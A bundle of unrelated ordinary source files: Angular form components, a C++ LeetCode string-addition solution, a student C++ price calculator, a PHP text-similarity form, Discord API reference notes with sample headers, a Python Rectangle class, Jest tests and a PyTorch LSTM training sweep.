import { Component, EventEmitter, Input, OnChanges, OnInit, Output, SimpleChanges } from '@angular/core'; import { MatDialog, MatDialogConfig, MatDialogRef } from '@angular/material/dialog'; import { ChooseServiceDialogData } from 'src/app/core/_dialog-data/choose-service-dialog-data'; import { ICashier } from 'src/app/core/_interfaces/icashier'; import { IPrestataire } from 'src/app/core/_interfaces/iprestataire'; import { IPrestation } from 'src/app/core/_interfaces/iprestation'; import { ChooseServiceDialogComponent } from './choose-service-dialog/choose-service-dialog.component'; import { ISsp } from 'src/app/core/_interfaces/issp'; import { DatabaseService } from 'src/app/core/_services/database.service'; import { ITicket } from 'src/app/core/_interfaces/iticket'; import { MatSnackBar, MatSnackBarConfig } from '@angular/material/snack-bar'; import { CustomSSP } from 'src/app/core/_interfaces/custom-ssp'; import { FormBuilder, FormGroup, Validators } from '@angular/forms'; @Component({ selector: 'app-service-step', templateUrl: './service-step.component.html', styleUrls: ['./service-step.component.scss'] }) export class ServiceStepComponent implements OnInit, OnChanges { ref!: MatDialogRef<any>; serviceStepFormGroup!: FormGroup; @Input() services!: IPrestation[]; @Input() serviceProviders!: IPrestataire[]; @Input() cashiers!: ICashier[]; @Input() formChange?: string; @Output() formComplete: EventEmitter<any> = new EventEmitter(); @Output() itemAction: EventEmitter<any> = new EventEmitter(); currentSSPs!: CustomSSP[]; ssp!: ISsp; hasInsurance: boolean = false; currentCashier?: ICashier; showWarning: boolean = false; constructor( private matDialog: MatDialog, private databaseService: DatabaseService, private matSnackbar: MatSnackBar, private formBuilder: FormBuilder, ) { this.fetchDataFromDatabase(); this.currentSSPs = []; this.serviceStepFormGroup = this.formBuilder.group( { hasInsurance: [false, []], cashier: [null, [Validators.required]] } ); } ngOnChanges(changes: SimpleChanges): void { if (changes['formChange'] && changes['formChange'].previousValue) { if (this.serviceStepFormGroup.controls['cashier'].invalid) { this.serviceStepFormGroup.controls['cashier'].markAsTouched({ onlySelf: true }); this.formComplete.emit(false); } else if (this.currentSSPs.length <= 0) { this.showWarning = true; this.formComplete.emit(false); } else { this.formComplete.emit(true); } } } ngOnInit(): void { this.setupData(); } setupData() { this.databaseService .getTicketDocument() .then( (val: ITicket) => { this.ssp = val.ssp; this.getServiceAndServiceProviders(this.ssp.data); } ) .catch(err => console.error(err)); } fetchDataFromDatabase() { let table = this.databaseService.getTicketDocument(); table .then( (val: ITicket) => { this.currentCashier = val.ssp.cashier; this.serviceStepFormGroup.controls['cashier'].setValue(this.currentCashier.firstname); this.serviceStepFormGroup.controls['hasInsurance'].setValue(val.ssp.hasInsurance); } ) .catch(err => console.error(err)); } getServiceAndServiceProviders(data: Array<Record<string, IPrestataire>>) { let tmp: CustomSSP[] = []; let i = 1; if (data) { data.forEach(d => { Object.keys(d).forEach((key: string) => { let a = this.services.find(v => String(v.id) === key); if (a) { tmp.push({ id: i, service: a, serviceProvider: d[key] }); } i += 1; }); }); } this.currentSSPs = tmp; } openChooseServiceDialog() { if (this.currentSSPs.length >= 3) { let config = this.prepareSnackBarData(); this.matSnackbar.open("Le nombre maximum de prestations est atteint", undefined, config); return; } let data = this.prepareDialogData("35%", 0x0, null); this.ref = this.matDialog.open(ChooseServiceDialogComponent, data); this.ref.afterClosed().subscribe(val => this.handleSSPAdded(val)); } openEditServiceDialog(current: CustomSSP) { let data = this.prepareDialogData("35%", 0x1, current); this.ref = this.matDialog.open(ChooseServiceDialogComponent, data); this.ref.afterClosed().subscribe(val => this.handleSSPAdded(val)); } openDeleteServiceDialog(current: CustomSSP) { let data = this.prepareDialogData("35%", 0x2, current); this.ref = this.matDialog.open(ChooseServiceDialogComponent, data); this.ref.afterClosed().subscribe(val => this.handleSSPAdded(val)); } prepareDialogData(width: string, mode: number, obj: any | null): MatDialogConfig { let config = new MatDialogConfig(); let data = new ChooseServiceDialogData(); config.width = width; data.services = this.services; data.serviceProviders = this.serviceProviders; switch (mode) { case 0x0: data.add = true; break; case 0x1: data.edit = true; data.currentSSP = obj as CustomSSP; break; case 0x2: data.delete = true; data.currentSSP = obj as CustomSSP; break; default: break; } config.data = data; return config; } prepareSnackBarData(): MatSnackBarConfig { let config = new MatSnackBarConfig(); config.duration = 2000; return config; } handleSSPAdded(val: any) { let config = this.prepareSnackBarData(); if (val !== undefined && val.status) { switch (val.mode) { case 'add': this.matSnackbar.open("Prestation ajoutée avec succès", undefined, config); break; case 'edit': this.matSnackbar.open("Prestation modifiée avec succès", undefined, config); break; case 'delete': this.matSnackbar.open("Prestation supprimée avec succès", undefined, config); break; } this.setupData(); this.itemAction.emit(true); this.showWarning = false; } } onCashierChange(e: any) { if (e !== undefined) { let cashier = this.cashiers.find(v => v.firstname === e) as ICashier; this.databaseService.insertCashier(cashier); setTimeout(() => { this.itemAction.emit(true); }, 100); } } onCheckboxClick() { this.hasInsurance = this.serviceStepFormGroup.controls['hasInsurance'].value as boolean; this.databaseService.insertHasInsurance(this.hasInsurance); setTimeout(() => { this.itemAction.emit(true); }, 100); } }
// id:311325355 // runtime:4 ms // memory:6.6 MB // title:Add Strings // translatedTitle:字符串相加 // questionId:415 // time:2022-05-09 19:32:38 /// 9646516 #include <bits/stdc++.h> using namespace std; using ll = long long; const int INF = 0x3F3F3F3F; const int maxn = 2e5 + 555; const int MOD = 1e9 + 7; template <typename A, typename B> string to_string(pair<A, B> p); template <typename A, typename B, typename C> string to_string(tuple<A, B, C> p); template <typename A, typename B, typename C, typename D> string to_string(tuple<A, B, C, D> p); string to_string(const string &s) { return '"' + s + '"'; } string to_string(const char *s) { return to_string((string)s); } string to_string(const char s) { return string(1, s); } string to_string(bool b) { return (b ? "true" : "false"); } string to_string(vector<bool> v) { bool first = true; string res = "{"; for (int i = 0; i < static_cast<int>(v.size()); i++) { if (!first) { res += ", "; } first = false; res += to_string(v[i]); } res += "}"; return res; } template <size_t N> string to_string(bitset<N> v) { string res = ""; for (size_t i = 0; i < N; i++) { res += static_cast<char>('0' + v[i]); } return res; } template <typename A> string to_string(A v) { bool first = true; string res = "{"; for (const auto &x : v) { if (!first) { res += ", "; } first = false; res += to_string(x); } res += "}"; return res; } template <typename A, typename B> string to_string(pair<A, B> p) { return "(" + to_string(p.first) + ", " + to_string(p.second) + ")"; } template <typename A, typename B, typename C> string to_string(tuple<A, B, C> p) { return "(" + to_string(get<0>(p)) + ", " + to_string(get<1>(p)) + ", " + to_string(get<2>(p)) + ")"; } template <typename A, typename B, typename C, typename D> string to_string(tuple<A, B, C, D> p) { return "(" + to_string(get<0>(p)) + ", " + to_string(get<1>(p)) + ", " + to_string(get<2>(p)) + ", " + to_string(get<3>(p)) + ")"; } void debug_out() { cerr << endl; } template <typename Head, typename... Tail> void debug_out(Head H, Tail... T) { cerr << " " << to_string(H); debug_out(T...); } #ifdef RINNE #define debug(...) cerr << "[" << #__VA_ARGS__ << "]:\t", debug_out(__VA_ARGS__) #else #define debug(...) 42 #endif /* * @lc app=leetcode.cn id=415 lang=cpp * * [415] 字符串相加 */ class Solution { public: string addStrings(string num1, string num2) { reverse(num1.begin(), num1.end()); reverse(num2.begin(), num2.end()); const int sz = max(num1.size(), num2.size()) + 1; string ret(sz, '0'); int lbit = 0; for (int i = 0; i < sz; i++) { int lb = i < num1.size() ? num1[i] - '0' : 0; int rb = i < num2.size() ? num2[i] - '0' : 0; int val = lb + rb + lbit; if (val >= 10) { lbit = 1; val -= 10; } else { lbit = 0; } debug(lbit, val); ret[i] = val + '0'; } debug(ret); while (!ret.empty() && ret.back() == '0') { ret.pop_back(); } reverse(ret.begin(), ret.end()); if (ret.empty()) ret.push_back('0'); return ret; } }; #ifdef RINNE int32_t main() { ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); cout.precision(10); cout << fixed; vector<int> data{}; Solution s; auto res = s.addStrings("98", "9"); debug(res); return 0; } #endif
// Programmer: <Lincoln Steber> // Student ID: <LGS6BV> // Section: <303> // Date: <9/8/2021> // File: hw1.cpp // Purpose: Calculate the cost to heal the Codemon. #include <iostream> using namespace std; int main(){ int region = 9; //Declaration of every variable that is used in the code char insurance; float insuranceRate = 101; int numCodeballs = 7; int ballType = 0; int codeBall = 0; int goodBall = 0; int extremeBall = 0; int budgetBall = 0; int boujeeBall = 0; const float konta = 1.00; const float jahta = 0.80; const float hainn = 0.95; const float sennah = 1.15; const float ynavo = 1.50; const float kolas = 1.12; const float olalo = 0.75; const float golor = 2.50; float price = 0; float priceWithTax = 0; float priceWithInsurrance = 0; float finalPrice = 0; char coachesLeft = 'y'; cout << endl << "Welcome to the Faboulous Codecenter Price Gourger Calculater" << endl; while (region < 1 || region > 8) { cout << endl << "What region are you using this program from?" << endl; //prints out all of the regions so the user can easily pick one cout << "1. Konta" << endl; cout << "2. Jahta" << endl; cout << "3. Hainn" << endl; cout << "4. Sennah" << endl; cout << "5. Ynavo" << endl; cout << "6. Kolas" << endl; cout << "7. Olalo" << endl; cout << "8. Golor" << endl; cout << "Region: "; cin >> region; //collects the users input for the region } while (coachesLeft == 'y') { //loops until the users says there are no more coaches left insurance = 'k'; //resets all of the variables for when the loop wraps around insuranceRate = 101; numCodeballs = 7; ballType = 0; codeBall = 0; goodBall = 0; extremeBall = 0; budgetBall = 0; boujeeBall = 0; price = 0; priceWithTax = 0; priceWithInsurrance = 0; finalPrice = 0; while(insurance != 'y' && insurance != 'n' ) { //ensures the user can only input y or n and will ask the user again if wrong input is given cout << endl << "Does the coach have insurance (y/n)? "; cin >> insurance; } if (insurance == 'y') { // if the coach has insurance then it will ask the user for a number between 1 and 100 and will ask until the input is given while (insuranceRate < 1 || insuranceRate > 100) { cout << endl << "What is this coach's insurance rate (1-100)? "; cin >> insuranceRate; } } else { //if the coach does not have insurance the rate will automatically be one insuranceRate = 1; } while (numCodeballs < 1 || numCodeballs > 6) { //requires the user to input number of codeballs and must be 1 to 6 cout << endl << "How many codeballs does this coach need healed (1-6)? "; cin >> numCodeballs; } for (int i = 1; i <= numCodeballs; i++) { //loops through the number of codeballs ballType = 0; //resets ball type while (ballType < 1 || ballType > 5) { //requires the user to enter a ball type 1 to 5 else it will prompt the user for a valid ball type cout << endl << "Which ball?" << endl; cout << "1. Code Ball" << endl; cout << "2. Good Ball" << endl; cout << "3. Extreme Ball" << endl; cout << "4. Budget Ball" << endl; cout << "5. Boujee Ball" << endl; cout << "Ball Type: "; cin >> ballType; if (ballType < 1 || ballType > 5) { cout << endl << "Please enter a valid ball type" << endl; } } if (ballType == 1) { //adds 1 to whichever ball the user entered codeBall += 1; } else if (ballType == 2) { goodBall += 1; } else if (ballType == 3) { extremeBall += 1; } else if (ballType == 4) { budgetBall += 1; } else if (ballType == 5) { boujeeBall += 1; } if ((region == 1 || region == 2 || region == 5 || region == 7) && (budgetBall > 0 && boujeeBall > 0)) { //if the coach has a boujee and budget ball and is in a region that starts with o or a it ends here cout << endl << "Authorities have been notified and the client will be arrested shortly" << endl; // and the cost is never calculated it just states that the client will be arrested i = numCodeballs + 1; } } if ((region != 1 && region != 2 && region != 5 && region != 7) || (budgetBall == 0 || boujeeBall == 0)) { //if the coach is not breaking the law it will calculate their cost // cout << endl << "CodeBalls: " << codeBall << endl; // test cases to ensure the program was functioning correctly // cout << "GoodBalls: " << goodBall << endl; // cout << "ExtremeBalls: " << extremeBall << endl; // cout << "BudgetBalls: " << budgetBall << endl; // cout << "BoujeeBalls: " << boujeeBall << endl; price = codeBall * 90 + goodBall * 115 + extremeBall * 130 + budgetBall * 50 + boujeeBall * 350; //calculates the price of all the balls the coach is healing // cout << endl << "Price: " << price << endl; if (region == 1) { //multiplies the cost of the balls times the regions tax to get the price with tax priceWithTax = price * konta; } else if (region == 2) { priceWithTax = price * jahta; } else if (region == 3) { priceWithTax = price * hainn; } else if (region == 4) { priceWithTax = price * sennah; } else if (region == 5) { priceWithTax = price * ynavo; } else if (region == 6) { priceWithTax = price * kolas; } else if (region == 7) { priceWithTax = price * olalo; } else if (region == 8) { priceWithTax = price * golor; } // cout << endl << "Price with Tax: " << priceWithTax << endl; // test case to ensure the price with tax was correct if (insurance == 'y') { //if the coach has insurance it will divide the price with tax by the coaches insurance rate priceWithInsurrance = priceWithTax / insuranceRate; // cout << endl << "Price With Insurance: " << priceWithInsurrance << endl; } finalPrice = priceWithInsurrance * 11 / 17 + 3.62; //converts the dollar value to the ampersand value cout.setf(ios::fixed); //formats output to have two decimal places cout.setf(ios::showpoint); cout.precision(2); cout << endl << "Total Cost: &" << finalPrice << endl; //prints the total cost } cout << endl << "Are there any coaches left (y/n)? "; //gets input from the user if there are any more coaches cin >> coachesLeft; while (coachesLeft != 'y' && coachesLeft != 'n') { //ensures the user inputs y or n else it asks until they give a y or n cout << endl << "Are there any coaches left (y/n)? "; cin >> coachesLeft; } } cout << endl << "Good Bye!" << endl; //says good bye and the program ends return 0; }
import { Component, Inject, OnInit } from '@angular/core'; import { FormGroup, FormBuilder, Validators } from '@angular/forms'; import { MatDialog, MatDialogRef, MAT_DIALOG_DATA } from '@angular/material/dialog'; import { MatSelectChange } from '@angular/material/select'; import { Driver } from 'src/app/pages/drivers/models/driver.model'; import { EditVehicleComponent } from 'src/app/pages/owners/modals/owner/edit-vehicle/edit-vehicle.component'; import { OwnersService } from 'src/app/pages/owners/services/owners.service'; import { AccountService } from 'src/app/services/account.service'; import swal from "sweetalert2"; import { School } from '../../models/parent.model'; import { ParentService } from '../../services/parent.service'; import { EditChildComponent } from '../edit-child/edit-child.component'; @Component({ selector: 'app-add-child', templateUrl: './add-child.component.html', styleUrls: ['./add-child.component.scss'] }) export class AddChildComponent implements OnInit { isLoading: boolean; childForm: FormGroup; validationMessages = { required: [ { type: 'required', message: 'This field is required.' } ], }; make = []; grades = []; allGrades = []; modelOfMake = [] levels = []; schools: School[]; drivers: Driver[]; constructor( private parentService: ParentService, private fb: FormBuilder, private dialog: MatDialog, private acs: AccountService, @Inject(MAT_DIALOG_DATA) public data: any, private dialogRef: MatDialogRef<EditChildComponent> ) { } ngOnInit(): void { console.log(this.data); this.childForm = this.fb.group({ name: [null, [Validators.required]], surname: [null, [Validators.required]], levels: [null, [Validators.required]], grade: [null, [Validators.required]], schools: [this.data.schools.map(school => school.id)], streetName: [null, [Validators.required]], suburb: [null, [Validators.required]], city: [null, [Validators.required]], postalCode: [null, [Validators.required]], lat: [null, [Validators.required]], lon: [null, [Validators.required]] }); this.levels = [ { name: 'Primary', value: 'primary' }, { name: 'Secondary', value: 'secondary' }, ] this.allGrades = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]; this.schools = this.data.schools; } addSchool(){ this.childForm.markAllAsTouched(); this.childForm.markAsDirty(); const data = { name: this.childForm.value.name, surname: this.childForm.value.surname, user_id: this.acs.user.id, location: { data: { street_name: this.childForm.value.streetName, suburb: this.childForm.value.suburb, city: this.childForm.value.city, latitude: this.childForm.value.lat, longitude: this.childForm.value.lon, postal_code: String(this.childForm.value.postalCode), } }, learner_schools: { data: [ { school_id: this.childForm.value.schools.id, level: this.childForm.value.levels.value, status: 'current_study', grade: String(this.childForm.value.grade) } ] } } console.log(data); if(this.childForm.valid){ this.isLoading = true; this.parentService.insertChild(data).subscribe( response => { this.isLoading = false; this.parentService.childrenQueryRef.refetch(); this.childForm.reset(); swal.fire({ title: "Successfully updated", icon: "success", }); }, error => { swal.fire({ title: error.message, icon: "error", }); }); } } selectMake(event: MatSelectChange){ this.modelOfMake = this.make.find(m => m.value === event.value).models } selectLevel(event: MatSelectChange){ if(event.value.value === 'primary'){ this.grades = this.allGrades.filter(grade => grade < 8); }else{ this.grades = this.allGrades.filter(grade => grade > 7); } } isInvalid(controlName: string) { return ((this.childForm.get(controlName).invalid) && (this.childForm.get(controlName).touched)); } isValid(controlName: string) { return ((this.childForm.get(controlName).valid) && (this.childForm.get(controlName).touched)); } hasError(controlName: string, validationType: string) { // tslint:disable-next-line:max-line-length return this.childForm.get(controlName).hasError(validationType) && (this.childForm.get(controlName).dirty || this.childForm.get(controlName).touched); } }
<form action="<?php $_SERVER['PHP_SELF'];?>" method="post"> <p>INPUT TEXT1 : <input type="text" required name="text1" id="text1" /></p> <p>INPUT TEXT1 : <input type="text" required name="text2" id="text2" /></p> <p><input type="submit" id="sumbit" name="submit" value="COMPARE"/></p> </form> <?php /* * To change this template, choose Tools | Templates * and open the template in the editor. * */ $a = $b = ""; if(isset($_REQUEST['text1'])) { $a = strtolower($_REQUEST['text1']); } if(isset($_REQUEST['text2'])) { $b = strtolower($_REQUEST['text2']); } $tokensA = explode(" ",$a); $tokensB = explode(" ",$b); //$tokensA = array('what','is','php'); //$tokensB = array('what','do','you','understand','by','php'); //print_r($tokensB); $stopwords = array("a", "about", "above", "above", "across", "after", "afterwards", "again", "against", "all", "almost", "alone", "along", "already", "also","although","always","am","among", "amongst", "amoungst", "amount", "an", "and", "another", "any","anyhow","anyone","anything","anyway", "anywhere", "are", "around", "as", "at", "back","be","became", "because","become","becomes", "becoming", "been", "before", "beforehand", "behind", "being", "below", "beside", "besides", "between", "beyond", "bill", "both", "bottom","but", "by", "call", "can", "cannot", "cant", "co", "con", "could", "couldnt", "cry", "de", "describe", "detail", "do", "done", "down", "due", "during", "each", "eg", "eight", "either", "eleven","else", "elsewhere", "empty", "enough", "etc", "even", "ever", "every", "everyone", "everything", "everywhere", "except", "few", "fifteen", "fify", "fill", "find", "fire", "first", "five", "for", "former", "formerly", "forty", "found", "four", "from", "front", "full", "further", "get", "give", "go", "had", "has", "hasnt", "have", "he", "hence", "her", "here", "hereafter", "hereby", "herein", "hereupon", "hers", "herself", "him", "himself", "his", "how", "however", "hundred", "ie", "if", "in", "inc", "indeed", "interest", "into", "is", "it", "its", "itself", "keep", "last", "latter", "latterly", "least", "less", "ltd", "made", "many", "may", "me", "meanwhile", "might", "mill", "mine", "more", "moreover", "most", "mostly", "move", "much", "must", "my", "myself", "name", "namely", "neither", "never", "nevertheless", "next", "nine", "no", "nobody", "none", "noone", "nor", "not", "nothing", "now", "nowhere", "of", "off", "often", "on", "once", "one", "only", "onto", "or", "other", "others", "otherwise", "our", "ours", "ourselves", "out", "over", "own","part", "per", "perhaps", "please", "put", "rather", "re", "same", "see", "seem", "seemed", "seeming", "seems", "serious", "several", "she", "should", "show", "side", "since", "sincere", "six", "sixty", "so", "some", "somehow", "someone", "something", "sometime", "sometimes", "somewhere", "still", "such", "system", "take", "ten", "than", "that", "the", "their", "them", "themselves", "then", "thence", "there", "thereafter", "thereby", "therefore", "therein", "thereupon", "these", "they", "thickv", "thin", "third", "this", "those", "though", "three", "through", "throughout", "thru", "thus", "to", "together", "too", "top", "toward", "towards", "twelve", "twenty", "two", "un", "under", "until", "up", "upon", "us", "very", "via", "was", "we", "well", "were", "will", "with", "within", "without", "would", "yet", "you", "your", "yours", "yourself", "yourselves", "the"); $tokensA = array_diff($tokensA, $stopwords); $tokensB = array_diff($tokensB,$stopwords); if(isset($_POST['submit'])) { $mol = cosineSimilarity($tokensA, $tokensB); echo "<br/>"."<h4>The texts you entered are ".round($mol*100). " ". 'Similar</h4>'; } function cosineSimilarity($tokensA, $tokensB) { $a = $b = $c = 0; $uniqueTokensA = $uniqueTokensB = array(); $uniqueMergedTokens = array_unique(array_merge($tokensA, $tokensB)); foreach ($tokensA as $token) $uniqueTokensA[$token] = 0; foreach ($tokensB as $token) $uniqueTokensB[$token] = 0; foreach ($uniqueMergedTokens as $token) { $x = isset($uniqueTokensA[$token]) ? 1 : 0; $y = isset($uniqueTokensB[$token]) ? 1 : 0; $a += $x * $y; $b += $x; $c += $y; } return $b * $c != 0 ? $a / sqrt($b * $c) : 0; } ?>
# Discord API - The base URL for Discord's API is `https://discord.com/api`. - It has multiple versions ranging from `v3` to `v10`. The version number is added as `/v{version_number}` after the base URL. - It has a consistent error message format for API error responses. ```json { "code": 50035, "errors": { "access_token": { "_errors": [ { "code": "BASE_TYPE_REQUIRED", "message": "This field is required" } ] } }, "message": "Invalid Form Body" } ``` - It has two types of authentication mechanism: - Bot Token - OAuth2 Token - Authorization is done through the `Authorization` header. - `Authorization: Bot MTk4NjIyNDgzNDcxOTI1MjQ4.Cl2FMQ.ZnCjm1XVW7vRze4b7Cq4se7kKWs` - `Authorization: Bearer CZhtkLDpNYXgPH9Ml6shqh2OwykChw` - All forms of communication with it is encrypted using TLS 1.2. - It uses Twitter's `snowflake` format for unique IDs which are 64-bit unsigned integers. - The HTTP API must have a `User-Agent` header. - `User-Agent: DiscordBot ($url, $versionNumber)` - It is rate limited in accordance to RFC 6585. - https://datatracker.ietf.org/doc/html/rfc6585#section-4 - Booleans in query strings are represented as: - `True`, `true`, `1` for true. - `False`, `false`, `0` for false. - It has the following resources: - Application - Application Role Connection Metadata - `/applications/{application.id}/role-connections/metadata` - Audit Log - `/guilds/{guild.id}/audit-logs` - Auto Moderation - `/guilds/{guild.id}/auto-moderation/rules` - `/guilds/{guild.id}/auto-moderation/rules/{auto_moderation_rule.id}` - Channel - `/channels/{channel.id}` ```json { "id": "41771983423143937", "guild_id": "41771983423143937", "name": "general", "type": 0, "position": 6, "permission_overwrites": [], "rate_limit_per_user": 2, "nsfw": true, "topic": "24/7 chat about how to gank Mike #2", "last_message_id": "155117677105512449", "parent_id": "399942396007890945", "default_auto_archive_duration": 60 } ``` - `/channels/{channel.id}/messages` - `/channels/{channel.id}/messages/{message.id}` - `/channels/{channel.id}/messages/{message.id}/crosspost` - `/channels/{channel.id}/messages/{message.id}/reactions/{emoji}/@me` - `/channels/{channel.id}/messages/{message.id}/reactions/{emoji}/{user.id}` - `/channels/{channel.id}/messages/bulk-delete` - `/channels/{channel.id}/permissions/{overwrite.id}` - `/channels/{channel.id}/invites` - `/channels/{channel.id}/typing` - `/channels/{channel.id}/pins` - `/channels/{channel.id}/pins/{message.id}` - Emoji - Guild - `/guilds` - `/guilds/{guild.id}` ```json { "id": "2909267986263572999", "name": "Mason's Test Server", "icon": "389030ec9db118cb5b85a732333b7c98", "description": null, "splash": "75610b05a0dd09ec2c3c7df9f6975ea0", "discovery_splash": null, "approximate_member_count": 2, "approximate_presence_count": 2, "features": [ "INVITE_SPLASH", "VANITY_URL", "COMMERCE", "BANNER", "NEWS", "VERIFIED", "VIP_REGIONS" ], "emojis": [ { "name": "ultrafastparrot", "roles": [], "id": "393564762228785161", "require_colons": true, "managed": false, "animated": true, "available": true } ], "banner": "5c3cb8d1bc159937fffe7e641ec96ca7", "owner_id": "53908232506183680", "application_id": null, "region": null, "afk_channel_id": null, "afk_timeout": 300, "system_channel_id": null, "widget_enabled": true, "widget_channel_id": "639513352485470208", "verification_level": 0, "roles": [ { "id": "2909267986263572999", "name": "@everyone", "permissions": "49794752", "position": 0, "color": 0, "hoist": false, "managed": false, "mentionable": false } ], "default_message_notifications": 1, "mfa_level": 0, "explicit_content_filter": 0, "max_presences": null, "max_members": 250000, "max_video_channel_users": 25, "vanity_url_code": "no", "premium_tier": 0, "premium_subscription_count": 0, "system_channel_flags": 0, "preferred_locale": "en-US", "rules_channel_id": null, "public_updates_channel_id": null, "safety_alerts_channel_id": null } ``` - `/guilds/{guild.id}/preview` - `/guilds/{guild.id}/channels` - `/guilds/{guild.id}/threads/active` - `/guilds/{guild.id}/members` - `/guilds/{guild.id}/members/{user.id}` - `/guilds/{guild.id}/members/search` - `/guilds/{guild.id}/bans` - `/guilds/{guild.id}/bans/{user.id}` - Guild Scheduled Event - Guild Template - Invite - Stage Instance - Sticker - User - Voice - Webhook
#!/usr/bin/python3 """ Defines Rectangle class """ class Rectangle: """A class that defines a rectangle.""" def __init__(self, width=0, height=0): """Initialize a rectangle. Args: width (int): The width of the rectangle. height (int): The height of the rectangle. Raises: TypeError: If width or height is not an integer. ValueError: If width or height is less than zero. """ self.width = width self.height = height def __str__(self): """Return a string representation of the rectangle. Returns: str: A string representation of the rectangle using '#' characters. """ if self.__height == 0 or self.__width == 0: return '' ret = '' for i in range(self.__height): for j in range(self.__width): ret += '#' ret += '\n' return ret[:-1] @property def width(self): """Retrieve the width of the rectangle.""" return self.__width @width.setter def width(self, value): """Set the width of the rectangle. Args: value (int): The width of the rectangle. Raises: TypeError: If the value is not an integer. ValueError: If the value is less than zero. """ if type(value) is not int: raise TypeError("width must be an integer") if value < 0: raise ValueError("width must be >= 0") self.__width = value @property def height(self): """Retrieve the height of the rectangle.""" return self.__height @height.setter def height(self, value): """Set the height of the rectangle. Args: value (int): The height of the rectangle. Raises: TypeError: If the value is not an integer. ValueError: If the value is less than zero. """ if type(value) is not int: raise TypeError("height must be an integer") if value < 0: raise ValueError("height must be >= 0") self.__height = value def area(self): """Calculate the area of the rectangle. Returns: int: The area of the rectangle. """ return self.__width * self.__height def perimeter(self): """Calculate the perimeter of the rectangle. Returns: int: The perimeter of the rectangle. """ if self.__height == 0 or self.__width == 0: return 0 return 2 * (self.__width + self.__height)
import { getAyoba } from './init'; const androidInstance = { startPayment: () => {} }; function setNavigatorUserAgent(ua: string) { Object.defineProperty(navigator, 'userAgent', { value: ua, writable: true }); } function setWindowAyobaAndroid() { Object.defineProperty(window, 'Android', { value: androidInstance }); } describe('Ayoba initialization', () => { describe('by default', () => { it('should return an undefined instance of Ayoba', () => { expect(getAyoba()).toBeUndefined(); }); }); describe('when useragent belongs to Windows desktop browser', () => { it('should return an undefined instance of Ayoba', () => { setNavigatorUserAgent('windows phone'); expect(getAyoba()).toBeUndefined(); }); }); describe('when useragent belongs to an iOS device', () => { it('should return an undefined instance of Ayoba', () => { setNavigatorUserAgent('iphone'); expect(getAyoba()).toBeUndefined(); setNavigatorUserAgent('ipad'); expect(getAyoba()).toBeUndefined(); setNavigatorUserAgent('ipod'); expect(getAyoba()).toBeUndefined(); }); }); describe('when useragent belongs to an Android device', () => { it('should return the Android window object', () => { setWindowAyobaAndroid(); setNavigatorUserAgent('android'); expect(getAyoba()).toBe(androidInstance); }); }); });
#%% ## This script trains an LSTM according ## to the method described in ## A. Wright, E.-P. Damskägg, and V. Välimäki, ‘Real-time black-box modelling with recurrent neural networks’, in 22nd international conference on digital audio effects (DAFx-19), 2019, pp. 1–8. import data import models import loss import utils_train import torch from torch.utils.data import DataLoader import evaluate import os import wandb # Define sweep config sweep_configuration = { "method": "bayes", "name": "STMAE Project", "metric": {"goal": "minimize", "name": "val_loss"}, "parameters": { "batch_size": {"values": [16,32,64]}, "lstm_hidden_size":{"values": [20,32,64,90]}, "learning_rate": {"values":[1e-3,1e-4,1e-5]}, "layer":{"values":[1,2,3]}, }, } # Initialize sweep by passing in config. sweep_id = wandb.sweep(sweep=sweep_configuration, project=f"STMAE_Project_5min") def train(): with wandb.init(): # used for the writing of example outputs run_name="muff" # dataset : need an input and output folder in this folder #audio_folder = "../../data/audio_audacity_dist" audio_folder = "../data" assert os.path.exists(audio_folder), "Audio folder not found. Looked for " + audio_folder # used to render example output during training test_file = "../data/input/test/guitar.wav" assert os.path.exists(test_file), "Test file not found. Looked for " + test_file lstm_hidden_size = wandb.config.lstm_hidden_size learning_rate = wandb.config.learning_rate batch_size = wandb.config.batch_size layers = wandb.config.layer max_epochs = 300 print("Loading dataset from folder ", audio_folder) dataset = data.generate_dataset(audio_folder + "/input/train/", audio_folder + "/output/train/", frag_len_seconds=0.5) print("Looking for GPU power") device = utils_train.get_device() print("Splitting dataset") train_ds, val_ds, test_ds = data.get_train_valid_test_datasets(dataset,device) print("Creating model") model = models.SimpleModel(hidden_size=lstm_hidden_size,num_layers=layers,model_type='LSTM').to(device) print("Creating data loaders") train_dl = DataLoader(train_ds, batch_size=batch_size, shuffle=True, generator=torch.Generator(device=device)) val_dl = DataLoader(val_ds, batch_size=batch_size, shuffle=True, generator=torch.Generator(device=device)) test_dl = DataLoader(test_ds, batch_size=batch_size, shuffle=True, generator=torch.Generator(device=device)) print("Creating optimiser") # https://github.com/Alec-Wright/Automated-GuitarAmpModelling/blob/main/dist_model_recnet.py optimiser = torch.optim.Adam(model.parameters(), lr=learning_rate, weight_decay=1e-4) scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimiser, 'min', factor=0.5, patience=5, verbose=True) print("Creating loss functions") # https://github.com/Alec-Wright/CoreAudioML/blob/bad9469f94a2fa63a50d70ff75f5eff2208ba03f/training.py loss_functions = loss.LossWrapper() # now the training loop print("About to train") lowest_val_loss = 0 best_loss = False for epoch in range(max_epochs): ep_loss = utils_train.train_epoch_interval(model, train_dl, loss_functions, optimiser, device=device) #ep_loss = myk_train.train_epoch(model, train_dl, loss_functions, optimiser, device=device) val_loss = utils_train.compute_batch_loss(model, val_dl, loss_functions, device=device) wandb.log({ "epoch":epoch, "loss":ep_loss, "val_loss":val_loss }) # check if we have beaten our best loss to date if lowest_val_loss == 0:# first run lowest_val_loss = val_loss elif val_loss < lowest_val_loss:# new record lowest_val_loss = val_loss best_loss = True else:# no improvement best_loss = False if best_loss:# save best model so far print("Record loss - saving at ", epoch) model.save_model("model.json") if epoch % 50 == 0:# save an example processed audio file evaluate.run_file_through_model(model, test_file, audio_folder + "/" + run_name + str(epoch)+".wav") print("epoch, train, val ", epoch, ep_loss, val_loss) if __name__=="__main__": #TRAINING wandb.agent(sweep_id=sweep_id, project=f"STMAE_Project_5min",function=train) # %%
